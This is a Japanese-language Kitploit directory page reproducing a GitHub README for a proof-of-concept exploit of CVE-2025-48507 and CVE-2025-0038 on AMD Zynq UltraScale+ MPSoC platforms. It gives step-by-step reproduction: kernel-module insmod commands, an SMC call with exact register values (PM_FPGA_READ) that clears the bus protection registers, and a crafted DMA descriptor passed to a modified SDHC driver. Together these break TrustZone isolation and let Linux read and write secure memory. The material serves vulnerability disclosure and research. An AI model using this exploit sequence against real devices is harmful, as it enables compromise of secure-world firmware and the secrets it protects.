Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
PoC_CVE-2025-48507 — CVE-2025-48507の概念実証。このセキュリティ上の欠陥は、Non-Secureソフトウェア(例:Linux)によって悪用され、Trust Zoneを突破してSecure worldへのアクセスを得ることができます。 | Kitploit
ツール/GitHubGitHub/jdbonfils/poc_cve-2025-48507
組み込みシステムセキュリティ特権昇格脆弱性分析エクスプロイトペネトレーションテストハードウェアセキュリティレッドチーミングバイナリエクスプロイト
GitHubjdbonfils/poc_cve-2025-48507

PoC_CVE-2025-48507

CVE-2025-48507の概念実証。このセキュリティ上の欠陥は、Non-Secureソフトウェア(例:Linux)によって悪用され、Trust Zoneを突破してSecure worldへのアクセスを得ることができます。

リポジトリを見る
2210ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Zynq UltraScale+ MPSoCにおけるTrustZoneの侵害 - CVE-2025-48507およびCVE-2025-0038の概念実証

非セキュアソフトウェアは、CVE-2025-48507およびCVE-2025-0038を悪用して、Zynq UltraScale+プラットフォーム上のセキュアワールドへの読み取り/書き込みアクセスを取得し、TrustZoneの分離を破ることができます。そのために、非セキュアソフトウェアはCVE-2025-0038とCVE-2025-48507を悪用して、IOU_AXI_WPRTCNおよびIOU_AXI_RPRTCNレジスタ(0xFF240000)をクリアし、SDホストコントローラをセキュアマスタに切り替えます。その後、非セキュアソフトウェア(例:Linux)は、SDホストコントローラ(スレーブインターフェースはまだ非セキュア)を活用して、任意のセキュアメモリに書き込みまたは読み取りを行います。

詳細情報:

  • AMDのセキュリティ速報:
    • AMD-SB-8008 (CVE-2025-0038) https://docs.amd.com/r/en-US/000037628/CVE-Details
    • AMD-SB-8017 (CVE-2025-48507): https://docs.amd.com/r/en-US/000039030/CVE-Details
  • PoCのPowerPointプレゼンテーション: /doc/PoC_Exploit_presentation.pdf
  • PoCのビデオ: https://www.dropbox.com/scl/fi/2ug3w9ukf366g4mi5g7y7/CVE-PoC.mp4?rlkey=9zgdayte0vv4114assf0grfgg&st=9qupyn9d&dl=0
  • オリジナル研究記事(セクション5.5): /doc/preprint.pdf

影響を受けるプラットフォーム:

  • Kria™ SOM
  • Zynq UltraScale+ MPSoCs
  • Zynq UltraScale+ RFSoCs

影響を受けるコンポーネント:

  • Cortex-Aプロセッサ用Arm Trusted Firmware (TF-A) およびPMU Firmware、バージョン2025.1まで。

このリポジトリの構成:

  • source/ : Zynq UltraScale+ MPSoCs (ZC104) でこのPoCを再現するためのソース

    • CVE-2025-48507およびCVE-2025-0038を活用するため

      • smc-tt.c: 非セキュアLinuxが任意のSMCコールを発行できるようにする基本的なカーネルモジュール。
      • Makefile: カーネルモジュールをクロスコンパイルするためのMakefile(パスは適応が必要)。
    • CVE-2025-0038およびCVE-2025-48507を悪用するため

      • sdhc.c: SDホストコントローラ(SDHC)を使用したDMA攻撃を可能にする修正済みSDHCドライバ。
      • dma_patch.sh: 修正済みSDHCドライバに依存し、SDHCのDMA機能を介して任意のメモリ領域にパッチを適用する便利なスクリプト。
  • doc/ : TF-AおよびPMUレベルでのセキュリティ脆弱性を詳述したプレゼンテーションと研究記事。

  • hw_debug/: APUおよびPMUプロセッサ上のTF-Aをデバッグするためのハードウェアデバッガスクリプト。PMUファームウェアおよびTF-Aの影響を受ける機能をデバッグし、攻撃の成功を確認するための環境を提供します。これらのスクリプトはTrace32およびLauterbach PowerDebug PRO JTAGハードウェアデバッガと共に使用することを想定しています。ハードウェアデバッガはZCU104のJTAGポート(J180)に接続されています。

攻撃の再現

環境の構築:
  1. 影響を受ける環境(Linux、TF-A、PMUファームウェアなど)を構築します。

    • 例:Petalinuxのプリビルドイメージ、Yocto、Petalinuxツールなど。
  2. Linuxをビルドする際、kconfigを介してSDHCドライバをロード可能なカーネルモジュールとして設定します。これは悪用にのみ必要です。

    • MMC_SDHCI=M
  3. カーネルモジュール smc-tt.c および sdhci.c をコンパイルします。提供されたMakefileは、カーネルとコンパイラのパスを適応して使用できます。

  4. CVEを活用するには、smc-tt.ko をLinuxのrootfsに追加します。

  5. CVEの悪用には、sdhci.ko および dma_patch.sh をLinuxのrootfsに追加します。

CVEのPoCと悪用:

PoCでは、システム(つまりfslb、ubootなど)はSDカードから起動されました。LinuxのrootfsはUSBにフラッシュされました。DMA攻撃では、Linuxは修正済みSDHCドライバ(sdhci.ko)によって駆動されるSDホストコントローラによってアクセスされるSDカードの空のパーティションを使用しました。

CVEをテストするだけの場合は、ステップ2、3、5をスキップできます。

  1. USBパーティション上のrootfsでNon-SecureワールドでLinuxを起動するためのU-bootコマンド:

    root@kitploit:~
    setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
    
  2. 修正済みSDHCドライバを挿入して任意のDMAアクセスを実行:

    root@kitploit:~
    insmod /sdhci.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko 
    
  3. 修正済みSDHCドライバを活用してセキュアメモリにパッチを試みます。SDHCはまだNon-Secureであるため、これは失敗するはずです:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
    
    • ARG1: PAYLOAD

    • ARG2: 不正なDMAアクセスを実行するための悪意のあるディスクリプタ。

      • 例:アドレス0xFFDC0000の0x20バイトにパッチを適用するには'\x00\x00\xdc\xff\x20\x00\x23\x00'。\x23\x00はそのままにしておく必要があります。
    • ARG3: 修正済みSDHCドライバによって制御されるSDホストコントローラが管理するデバイスパーティション。

      • 例:/dev/mmcblk0p3
  4. CVEを悪用してIOU_AXI_WPRTCNおよびIOU_AXI_RPRTCN(0xFF240000)をクリアする:

    root@kitploit:~
    insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
    
    • 0xc200002E: 影響を受けるSMCコール(PM_FPGA_READ)。

    • 0xff24000000000100: クリアするアドレス(0xFF240000)(つまりIOU_AXI_RPRTCN/IOU_AXI_WPRTCN)とクリアするバイト数(0x00000100)

    • 0x100000000: PLデータをメインメモリに読み戻す(0x1)。何もロードされなかったため、ターゲットのメモリ領域が単にクリアされます。

    • PM_FPGA_READのパラメータの詳細:https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693

これでLinuxはSDHC DMAを活用してセキュアメモリに完全にアクセスできるようになります

ツールをダウンロード
  • もう一度セキュアメモリ(0xFFDC0000)にパッチを試みる。SDHCがセキュアになったため、これは成功するはずです:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3